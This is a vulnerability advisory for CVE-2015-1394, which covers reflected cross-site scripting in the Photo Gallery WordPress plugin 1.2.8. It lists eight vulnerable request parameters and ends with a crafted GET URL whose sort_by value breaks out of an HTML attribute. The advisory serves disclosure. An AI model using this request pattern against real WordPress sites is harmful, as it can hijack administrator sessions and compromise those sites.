[CVE-2015-1394] Photo Gallery (Wordpress Plugin) - Multiple XSS Vulnerabilities Version 1.2.8
----------------------------------------------------------------
Product Information:
Software: Photo Gallery (Wordpress Plugin)
Tested Version: 1.2.8, released on 15.01.2015 and has over half a million downloads.
Vulnerability Type: Cross-site Scripting (CWE-79)
Download link to tested version: https://downloads.wordpress.org/plugin/photo-gallery.1.2.8.zip
Description: Photo Gallery is an advanced plugin with a list of tools and options for adding and editing images for different views. It is fully responsive. The product includes plugin for adding image galleries and albums to posts and pages, as well as multiple widgets. You can add images, providing detailed descriptions and tags, organize the galleries into different albums. (copied from https://wordpress.org/plugins/photo-gallery/)
----------------------------------------------------------------
Description of vulnerability:
When an authenticated user is uploading a picture to a gallery the following POST request is sent to the server:
POST /wordpress/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&extensions=jpg,jpeg,png,gif&callback=bwg_add_preview_image& HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 484
importer_thumb_width=300&importer_thumb_height=300&importer_img_width=1200&importer_img_height=1200&upload_thumb_width=300&upload_thumb_height=300&upload_img_width=1200&upload_img_height=1200&files%5B%5D=&task=&extensions=jpg%2Cjpeg%2Cpng%2Cgif&callback=bwg_add_preview_image&sort_by=name&sort_order=asc&items_view=thumbs&dir=&file_names=&file_namesML=&file_new_name=&new_dir_name=&clipboard_task=&clipboard_files=&clipboard_src=&clipboard_dest=
The following parameters in the POST body are vulnerable to XSS:
- sort_by
- sort_order
- items_view
- dir
- clipboard_task
- clipboard_files
- clipboard_src
- clipboard_dest
The parameter sort_by can also be placed within the URL, all other parameters in the POST body can be deleted and the request method can be changed from POST to GET. Afterwards the following GET-request can be used to execute reflected XSS:
http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=addImages&width=700&height=550&extensions=jpg,jpeg,png,gif&callback=bwg_add_preview_image&sort_by=name">